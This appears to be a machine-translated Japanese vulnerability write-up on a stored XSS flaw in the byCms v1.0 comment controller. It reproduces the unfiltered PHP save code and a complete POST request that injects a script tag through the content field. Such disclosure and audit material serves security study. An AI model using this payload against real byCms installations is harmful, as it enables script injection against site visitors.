0x00 はじめに:
ホームページ上でローカルに環境を構築するために、Windows の PHPstudy 統合環境を使用します。とても使いやすいです。特に監査中はそうです。 PHPのバージョンは任意に切り替えることができます。
0x01 CMS の概要:
byCms は、開発者を支援するように設計された、thinkphp5.0.9 に基づく、記事、写真、ダウンロード、ビデオ モデルを含む、シンプルで使いやすいコンテンツ管理システムです。 Web アプリケーションの費用を節約する バックエンドの開発時間とエネルギーは、高品質の Web アプリケーションをできるだけ早く開発するために費やされます。 PC、携帯電話、WeChat、Androidアプリ、Appleアプリを含む、多端末データ同期!
主な機能: tp5.0.9 に基づいており、5.0.10 にシームレスにアップグレードでき、PSR-2、PSR-4 仕様に従い、コンポーザーと単体テスト、非常に厳格なエラー検出とセキュリティ メカニズム、開発保護のための詳細なログ情報を備えています。 ; コアの依存関係を削減し、拡張をより柔軟かつ便利にし、優れたパフォーマンスと REST サポートをサポートし、API 開発の遅延サポートを強化し、ルーティング、構成、および自動ロードのためのキャッシュ メカニズムをサポートします。モデルと協会。
0x02 テキスト:
まず、ディレクトリ構造を見てみましょう。
まず Index.php を開いて見てみましょう。下の図を見ると、プログラム ディレクトリが次であることがわかります: application
フロントエンド テンプレートを見てみましょう
8 つのコントローラーがあることがわかります。各コントローラーは機能モジュールを表します。
脆弱性の箇所(コメント機能コントローラ):/bycms/application/index/controller/Comment.php
脆弱性が存在する行数:24行
<?php namespace app\index\controller; use think\Controller; use think\Db; class Comment extends Home{ public function add($id=""){ if(!is_login()){ $this->error("请先登录"); } $id=input('doc_id'); if(!($id && is_numeric($id))){ $this->error('ID错误!'); }else{ $where["id"]=$id; } $info= Db::name('document')->where($where)->find(); if(!$info){ $this->error('文章不存在!'); } if($_POST){ $Comment = new \app\index\model\Comment; $res=$Comment->validate(true)->allowField(true)->save($_POST); if($res){ Db::name('document')->where($where)->setInc("comments"); $this->success("发布成功!"); }else{ $error=$Comment->getError()?$Comment->getError():"发布失败!"; $this->error($error); } } }
できる限り上記のコードの行 22 ~ 27 を参照してください。このコード部分。中国語でのおおよその意味は次のとおりです:
まず、$_POST にデータが受信されているかどうかを確認します。次に、24行目のsaveメソッドで、$_POSTで渡されたcontentパラメータのデータをデータベースに直接書き込みます。フィルタリングは行われていません。これにより、コード プロトタイプをデータベースに直接挿入できるようになります。
POST パケット:
POST /shenji/bycms/index.php/index/comment/add.html HTTP/1.1
ホスト: 192.168.1.111 ユーザーエージェント: Mozilla/5.0 (Windows NT 6.1; WOW64; rv :55.0 ) Gecko/20100101 Firefox/55.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
article/detail/id/93.html
Content-Length: 57
Cookie: PHPSESSID=j6cht7fitg6l4eoajtscmvth56
Connection: close
doc_id=93&content =<script>alert('xss')</script>
以上がBycms v1.0 に保存された XSSの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。